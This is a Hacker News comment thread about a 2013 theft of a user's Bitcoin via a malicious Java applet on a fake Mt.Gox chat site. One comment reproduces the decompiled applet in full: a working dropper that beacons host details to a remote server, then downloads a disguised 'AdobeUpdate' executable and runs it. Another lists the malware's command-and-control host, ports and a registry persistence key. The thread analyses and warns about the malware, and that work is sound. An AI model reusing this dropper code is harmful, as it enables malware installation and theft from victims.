Java Applets were designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits. Turn off Java in the browser and hope that JavaScript is sandboxed well enough.

ww520 13y ago
Java Applets is not designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits. Only a signed Java applet can ask the user to give permission to access his computer.

mootothemax 13y ago

Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police". They should compensate me 100%. This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated. While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people really expecting it.

DanBC 13y ago
...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will. While I have sympathy for the author it was a pretty silly thing to do.
- mootothemax 13y ago
  ...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will. Agreed, the banks aren't doing it from the goodness of their heart. While I have sympathy for the author it was a pretty silly thing to do. And in the real world, if you gave someone your card and PIN, the bank would be unlikely to compensate you. I think that this example is more similar to falling victim to card skimming, though. Whilst one should always check the ATM for suspicious devices, and never let the card leave one's sight, it doesn't mean that it's not easy to fall prey to such fraud all the same.
- danielweber 13y ago
  "Federal Reserve Regulation E guarantees that US consumers are made whole when their bank passwords are stolen" From http://research.microsoft.com/apps/pubs/default.aspx?id=161829 http://research.microsoft.com/apps/pubs/default.aspx?id=1618... Of course, as that paper points out, the traditional electronic money system is incredibly reversible. If someone transfers $50,000 from my personal bank account to someone else's bank account, it's pretty easy for it to be undone. The bottleneck is the money mules who are hired (read: suckered) into engaging in irreversible transactions.

DanBC 13y ago

At $200 per bitcoin, this is a $6,800 lesson in "Don't visit random websites". At least they were open about being robbed. I wonder how many bitcoins were stolen in total? EDIT: Has anyone visited the URL to analyse the malware?

nkvoll 13y ago
At the current exchange rate, his loss is now down to $2100...

tripzilch 13y ago

> I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started "Being a techie", I like to confuse Java and Javascript ...

jotaass 13y ago
Well, he did put a space there. I'd give him a pass.
- tripzilch 13y ago
  I would have, but then the term "cross site injection attack", is again Javascript terminology (he probably meant XSS or CRSF, but the term "cross site" doesn't really apply to Java applets). However, the guy just got hacked out of about $8k worth of BC, which sucks, and for that I do give him a pass :)
  - Intermernet 13y ago
    I'm assuming you mean "XSS or CSRF". In both cases the first 2 letters denote "Cross Site". But, I'm picking hairs, and as you say, the guy just lost a shed-load of coin, so mostly sympathy (with a bit of urge to educate) from this end. EDIT: Sorry, your comment was slightly ambiguous, I apologize for picking on a typo, I originally thought you were saying that XSS and CSRF had nothing to do with "Cross Site" which, upon reading again, I noticed was not the case. (Also, I made the same typo (CRSF) while typing this and only caught it just before hitting the submit button!)
    - tripzilch 13y ago
      Well abovethread it turns out he must have clicked through all sorts of Java certificate warning boxes, or run an old vulnerable Java version -- now I feel about as sorry for him as someone whose laptop got stolen as they left it unattended on the table in a coffeeshop for a toilet break. You can wait for something to happen like that.

fmavituna 13y ago

A bit off topic, but if you care about security DO NOT INSTALL JAVA to your computer. I'm JAVA free for the last ~5 years and I never really needed it. Java's security track is horrible and it's quite popular target.

Tomdarkness 13y ago
I think that is a bit extreme. I'd suggest rather than not installing Java at all just to not install/disable the browser addons that allow java applets to execute. This way the only way you are going to be executing anything Java is by downloading the .jar (or a executable wrapper) and running it. To me if you have to download the .jar and run it then that is no different to downloading an executable and running it and should take the appropriate precautions as you would with executables. There are plenty of legitimate Java applications out there that are used by a wide spectrum of people from gamers (minecraft) to enterprise developers (JavaEE, java application servers, etc.).
- andyhmltn 13y ago
  How is it extreme? The only time I've needed java is for minecraft. Luckily I'm not rocking windows so the chance of being hit by a 0-day is a bit lower (correct me if I'm wrong.) But stopping the chance of having everything in your digital (and in the case of money, personal) life stolen because you clicked on a link FAR outweighs the benefit of playing minecraft imo.
  - Tomdarkness 13y ago
    I think you need to go back and read what you replied to. Having Java installed but with Java disabled in your browser, like I suggested, means Java applets won't run in your browser at all. You'd need to download and execute the .jar or wrapper (which would be a executable anyway) which is no different from downloading any normal executable and running it.
    - andyhmltn 13y ago

Tomdarkness 13y ago

I've not used Mt.Gox but does it let you perform transactions without authenticating again? Even if you were logged in to your account, I'd expect any kind of financial related website to perform some kind of re-authentication before processing any transaction. Perhaps with the exception of transferring funds to somewhere you've sent funds in the past.

wting 13y ago
You have the option of enabling two-factor authentication for various actions: http://i.imgur.com/5I31WcX.png http://i.imgur.com/5I31WcX.png
dragontamer 13y ago
If they have your wallet.dat file (which probably happened in this case), they don't even need to visit Mt. Gox to perform transactions. The guy had a Trojan loaded up onto his computer where he stored his bitcoins. All this two-factor authentication stuff people are talking about is for `naut. He was attacked by a virus, and that virus stole bitcoins straight off of his computer.

TazeTSchnitzel 13y ago

From the source of mtgox-chat.info: <applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet> Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.logging.Level; import java.util.logging.Logger; public class wDbIDcgeH extends Applet { static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?"; public static void logme(String paramString) { String str1 = lik.replace("?", ""); String str2 = "PoutineCoutu"; try { String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-"); URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString); localURL.openStream(); } catch (IOException localIOException) { localIOException.printStackTrace(); } } public void start() { String str1 = "no"; String str2 = System.getenv("APPDATA"); String str3 = System.getProperty("java.io.tmpdir"); String str4 = "http://g2f.nl/0lczsoo"; String str5 = str2 + "\\"; String str6 = "AdobeUpdate-Setup1.84##e"; String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w"; String str8 = "CodedByOrpheu"; String str9 = str5.concat(str6.replace("##", ".ex")); BufferedInputStream localBufferedInputStream = null; try { localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream()); } catch (IOException localIOException1) { if (str1 != "yes") logme("Noa"); str1 = "yes"; Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1); } FileOutputStream localFileOutputStream = null; try { localFileOutputStream = new FileOutputStream(str9); } catch (FileNotFoundException localFileNotFoundException) { Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException); } BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024); byte[] arrayOfByte = new byte[1024]; try { int i; for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i) localBufferedOutputStream.write(arrayOfByte, 0, i); } catch (IOException localIOException2) { if (str1 != "yes") logme("Noc"); str1 = "yes"; Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2); } try { localBufferedOutputStream.close(); } catch (IOException localIOException3) { Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3); } try { localBufferedInputStream.close(); } catch (IOException localIOException4) { Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4); } try { Runtime.getRuntime().exec(str9); logme("Yes"); } catch (IOException localIOException5) { logme("Nod"); Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5); } try { getAppletContext().showDocument(new URL("0"), "_self"); } catch (MalformedURLException localMalformedURLException) { System.exit(0); localMalformedURLException.printStackTrace(); } } public void init() { start(); } } Well, I can't decipher that, but some security expert might be able to see what's going on.

Cakez0r 13y ago

He seems to think MtGox should compensate his loss, but I really don't see how it's their fault. The guy fell victim to a phishing scam, plain and simple. It was completely out of MtGox's hands.

smoyer 13y ago

I wonder how much the of the increase in MtGox accounts and MtGox trading volume (discussed here: https://news.ycombinator.com/item?id=5529986 https://news.ycombinator.com/item?id=5529986) is due to this malware. If I was the author of this program, I'd spread the trading out over a large number of accounts and hit as many people as I could in a short time period (once the news gets out, this exploit will be much less effective).

dan1234 13y ago

Doesn't Mt.Gox have any 2 factor auth when it comes to approving transfers?

Major_Grooves 13y ago
seems so: https://mtgox.com/press_release_20120605.html https://mtgox.com/press_release_20120605.html
Jach 13y ago
Yup, they use yubikey and in the past have even given free devices to customers. This guy didn't have one, which is simply irresponsible on his part.
- tlrobinson 13y ago
  They also support TOTP (Google Authenticator, etc)

axefrog 13y ago

MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and need to take steps to protect what you have, especially when it's being held on behalf of a customer.

Cakez0r 13y ago
They do have two-factor authentication, which the user admittedly didn't opt in to. See https://support.mtgox.com/entries/21743327-Security https://support.mtgox.com/entries/21743327-Security
- axefrog 13y ago
  Ah, my bad.
DanBC 13y ago
This wasn't someone hacking MtGox. This was someone on a vulnerable OS, running without malware protection, with Java active in the browser, visiting an unknown link, and possibly giving an application permission to run. (Although maybe it didn't need permission to run?) To get to that point the person needed to ignore several well established security principles.
- StavrosK 13y ago
  Oh come on, how hard is it for MtGox to implement TOTP and tell users to download Google Authenticator? It's not really that much hassle to enter a code each time you want to make a transaction, and these things wouldn't happen. Sure, the user was being stupid here, but MtGox didn't do them any favors either.
  - zwily 13y ago

deleted 13y ago

[deleted]

teraflop 13y ago
This particular attack doesn't even involve a Java exploit. The weak point here is users who are accustomed to clicking "allow" on any security warnings without reading them.

willvarfar 13y ago

Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?

bonzoesc 13y ago
Without making that database universal it just means some poor merchant that accepts bit coins is going to get stiffed.
- willvarfar 13y ago
  but it'd be viral so be universal. Merchents and absolutely everyone would all quickly start checking just to ensure they don't get coins they can't trade, making it effectively universal. Which means it comes down to convincing the gatekeeper that you were burgled. But that's a human level problem.
  - chii 13y ago
    and whoever that controlled that list would basically control bitcoins, because they could charge a levy or else they'd put your bitcoin into that list.
    - bonzoesc 13y ago
      Yup, way to put a centralized control on your decentralized "currency."
tripzilch 13y ago
I've seen this suggestion pop up many times in all sorts of discussions on bitcointalk.org forums. There's a bunch of pretty good reasons not to do it, I encourage you to look up those old discussions yourself.
tlrobinson 13y ago
Here's an interesting (and controversial) proposal and discussion: "Decentralised crime fighting using private set intersection protocols" - Mike Hearn https://bitcointalk.org/index.php?topic=157130.0 https://bitcointalk.org/index.php?topic=157130.0

tripzilch 13y ago

So, how about if you could have a Linux boot image onna stick, properly secured, no Java, several BitCoin apps preinstalled and optimized to boot extremely quickly into what would basically be a sort of BitCoin Wallet dashboard interface. You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS. That way it can be completely separate from whatever risky, dangerous and/or irresponsible things you do on a regular basis with your computer--things that seemingly are worth the risk as long as they don't directly give attackers access to thousands of $$$ digital cash. Question, I'm making a rough guess that a realistic speed-optimized fast boot-time for a Linux OS that doesn't need to do much is in the order of five seconds, is that about right? Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there? And, make it look unlike any other OS, to make users instantly aware if they're operating on their banking/money "inside the stick" or "out in the open" (on the regular OS). For instance, a glowy green CRT terminal filter.

ConceitedCode 13y ago
The biggest issue I see would be updating the block chain for the wallet between uses. Seems like it takes longer and longer to update. Moved my wallet to a new computer last night and it's been going for the last 5 hours.
- psionski 13y ago
  Blockchain.info wallets are pretty nice, they do client-side encryption with separate log-in and spending passwords (so your private key is encrypted inside an encrypted .json file and the first password decrypts only the outer layer). You also get email (or dropbox or file download) backups that you can use in other Bitcoin clients in case something bad happens to blockchain.info.
- cookiecaper 13y ago
  If you download the blockchain from the P2P wallet client it always takes forever. You should download the blockchain once, put it on a USB drive, and then copy it into .bitcoin before you bootstrap a new machine with a wallet. There are also sites that offer downloads of tar'd versions of the blockchain, or torrents. Pretty much anything is going to be faster than downloading via a bitcoin client.

amanvir_sangha 13y ago

Some basic analysis of the binary: Creates the following directories: %UserProfile%\537214 %UserProfile%\684544 %AppData%\dclogs Creates a new registry value (so that it runs every time on startup) [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 537214 = "%UserProfile%\537214\svhost.exe" Tries to connect to: tamere123.no-ip.org on ports 80 and 1604 The subdomain above leads to the following IP: 198.203.29.120 Which, according to iplocation.net is located in: Los Angeles California ISP: Hugeserver Networks Llc It's very unusual for malware to be hosted in USA so I would assume that either it is a compromised computer/bot or it is some script kiddie using his home connection, the latter is more likely since there were no exploits used just social engineering and luck. File hashes: MD5: 0x81F8E4C33ADECE6BF89EF171D9930282 SHA-1: 0xF540BA6C5F1C2AA50B81A440E7D74F8CF588B4D7

TazeTSchnitzel 13y ago
https://news.ycombinator.com/item?id=5531500 https://news.ycombinator.com/item?id=5531500 It's a service by script kiddies for script kiddies.

RyanZAG 13y ago

Isn't this exactly what Bitcoin was created for - to allow unregulated access to currency? I guess people don't really realize what unregulated actually means - and nor do they realize why you really do want regulated currency. This kind of thing happens all the time with real banks, but with real banks, all transactions can be traced and reversed. Law enforcement can follow the required documentation to find the owner of any account on a global level. This is exactly what Bitcoin was created to avoid. Well guess what? When you avoid the regulation, you take the safety of the currency into your own hands. MtGox should not refund this in any way shape or form. The problem was entirely his fault. He did not secure his MtGox account with available two-factor authentication. He ran untrusted code at full permission on his PC. He needs to take some responsibility for his own use of an unsecured currency on an unsecured website with unsecured authentication and running untrusted code. Zero sympathy from me. Maybe it will be a wake up call to others to actually think about their decisions. Shouting about the 'nanny state' and using bitcoin, and then turning around and looking for a nanny to help him out when he goes around it is pathetic.

paulhodge 13y ago
Fair point, most of the mistakes were on the author's part. MtGox isn't completely blameless, they had a cross-site scripting vulnerability, and they should probably enforce some stronger security around logins from new computers. Something like Steam's approach where every login from a new computer needs to be verified with a confirmation code.
- RyanZAG 13y ago
  There is no evidence of any cross-site scripting vulnerability - it's a standard case of 'user executes malicious code with full user rights'. If anybody is to blame for that, it's Oracle for letting users shoot themselves in the foot with an 'OK' dialog that all Windows users just click OK on anyway. MtGox could help prevent this with something like Steam's approach, but once the user has run malicious code there is not much stopping that code from also compromising his email account. Two factor authentication would help here, and MtGox does appear to offer this - the complainer just didn't use it.
13y ago

oomkiller 13y ago

I uninstalled all of the Java plugins when the 0 days started coming out a couple months ago. If you want to be extra safe, you should probably have some sort of Linux LiveCD without any plugins enabled, that acts as a trusted environment for banking.

amalag 13y ago

Is funny that people throw around words like "java script 0 day exploit" and then post: >Then and there someone posted a link to www mtgox-chat info (do not open unless you know what >you are doing) claiming a video announcement that mtgox was going to start trading litecoins. >I clicked on the link, the website opened, not much happened, and the "video"/chatbox never loaded. >I then forgot about this website.

wereHamster 13y ago

"site is loaded with a java script" - srsly? You do ebanking (or ebitcoining) on a computer which has java installed?

Intermernet 13y ago
I hate to say it, but (at least in Australia) many banks require Java to do business banking. This should change (at the glacial rate banks change things) as they realise that Java in the browser is risky business. This may change if Oracle pull their finger out, stop being dicks about the licensing, and try to promote the language again. Honestly, I think they've left it too late and the majority of "Java" you're going to see in the near future is going to be related to Android (and hence not running on Oracle's stack).
- wereHamster 13y ago
  Then at least have a virtual machine snapshot of a clean install of OS+Java+Browser and always boot from the snapshot when doing internet business.

plg 13y ago

I'm having trouble understanding the OP's problem with mt. gox. Is it that the OP wants mt. gox to have somehow prevented him from downloading and running malicious java code from some other third party website? (WTF dude) or is it more specific, that the OP thinks mt. gox should have somehow prevented the OP's credentials from being sniffed by said malicious program?

niggler 13y ago

Best comment from the thread: "Friends don't let friends use Windows + Bitcoin."

jack_trades 13y ago

How useful is a "currency" if it 1) has volatility like a penny stock and 2) raises the stakes on 0-day defense to something ridiculous? When I hear interviews where people (bitcoin founder) suggest that you don't transfer into bitcoins any state currency you aren't willing to lose... it sort of peels the "inflation-hedge" covers off the whole thing. How unstable and unsecure does a currency have to be to be nearly worthless? USDollars look pretty safe again. This is so much a game of hacker gambling. A great experiment. Too bad it consumes so much productive time and energy. The beautiful narrative of the reclusive, open-society, eastern hacker that designs this thing which grows to be the godzilla it is... The story arc on bitcoin is borderline trite. Michael Bay is all over this in a year.

ghshephard 13y ago

This makes a lot more sense now: https://news.ycombinator.com/item?id=5530247 https://news.ycombinator.com/item?id=5530247

dariopy 13y ago

Maybe I'm missing something something, but where exactly is the exploit here? (0-day no less) AFAIU, the user was prompted to accept an autosigned applet, and he did so. After that, the outcome was inevitable. You may hate java all you like, but it seems like the user (inadvertently) gave this program permission to steal all his money.

Jebbers 13y ago

LOLarious.

jes5199 13y ago

The non-reversibility of bitcoin transactions is a huge liability. Our current state of software technology was designed in a world where the most valuable/dangerous thing you could possibly have on your disk or on a web site was, what, your ssh keys? Nude photos of yourself? The value of hacking, phishing, etc is significantly increased by the presence of bitcoins. I guess you could argue that if bitcoins are popular, software practices will evolve to be much more secure - but until then, it's wild west, and much more wild than the internet ever was before.

onbitcoins 13y ago

http://onbitcoins.com/2013/04/11/bitcoin-theft-mt-gox-trust/ http://onbitcoins.com/2013/04/11/bitcoin-theft-mt-gox-trust/ A Mt. Gox investor was surprised to see his account suddenly pillaged. Will Bitcoin theft call into question trust and confidence in the system?

deleted 13y ago

[deleted]

halcyondaze 13y ago

No offense to bitcoiners, but what are people expecting when the biggest exchange is "Magic The Gathering Online Exchange" for this "currency" ?

danmaz74 13y ago

Welcome to the far west...

sequoia 13y ago

I'm really confused by the title, in particular the "on Mt.Gox" part. Was he "on Mt.Gox['s website]" when he came across this applet? He makes it sound like the exploit was on mt. gox. If he got a trojan on a third party site that compromised his computer and Mt. Gox's site had nothing to do with it, this title seems a bit libelous. If in fact that's the case, I'd implore HN mods to change the title to something that doesn't unfairly cast aspersions on the Mt.Gox site. FWIW: I have no bitcoins, I don't fully grok bitcoins, I'm scared of bitcoins, I don't use mt.gox or any vendor

ScottBurson 13y ago
You have a point. His protestations notwithstanding, Mt. Gox does not appear to bear any responsibility for this at all. What happened was, he let his browser get pwned while he had his Mt. Gox account open in another tab. The coins were taken from his Mt. Gox account, but the security breach was on his end.
pbreit 13y ago
The theft occurred on the MtGox web site. MtGix is in a position to defend such a robery and it would behoove it to do so.

deleted 13y ago

[deleted]

supjeff 13y ago

Why do people trust MtGox again? Didn't something similar to this happen a year or-so ago where everyone's money disappeared and the ops were like "Yeah we don't know what happened"? How do we know they aren't fleecing everyone?

stesch 13y ago

I get laughed at for using NoScript.

ben0x539 13y ago
I use NoScript too, but the OP was lead to believe that they were accessing a video or an interactive chat, so they would likely have permitted scripts to run on that page anyway.

drivebyacct2 13y ago

Man, I'm getting tired of repeating these basic security issues: Stop storing your wallet online. And if not that, stop letting flash/java autoload/run. Both Chrome and Firefox have "click-to-enable". Not only is it more secure, it also prevents auto-video-playing, background audio you can't find and shit like this from happening.

pan69 13y ago

Doesn't MtGox send out an email or SMS with a verification code before a transfer can take place? Ouch...

parandroid 13y ago

Actually, the only thing the hacker didn't do is ask the dude politely to give him (or her) the money. This wasn't a 0day bug, no XSS. The dude gave the hacker permission to run any code on his machine, therefore it's completely his own fault, and has nothing to do with MtGox.

Osiris 13y ago

I have a Yubikey account with MtGox. Withdrawals require a long-press of the key. If you have a significant amount of BTC in MtGox, I would recommend paying the $20 to get the two-factor authentication key for your account.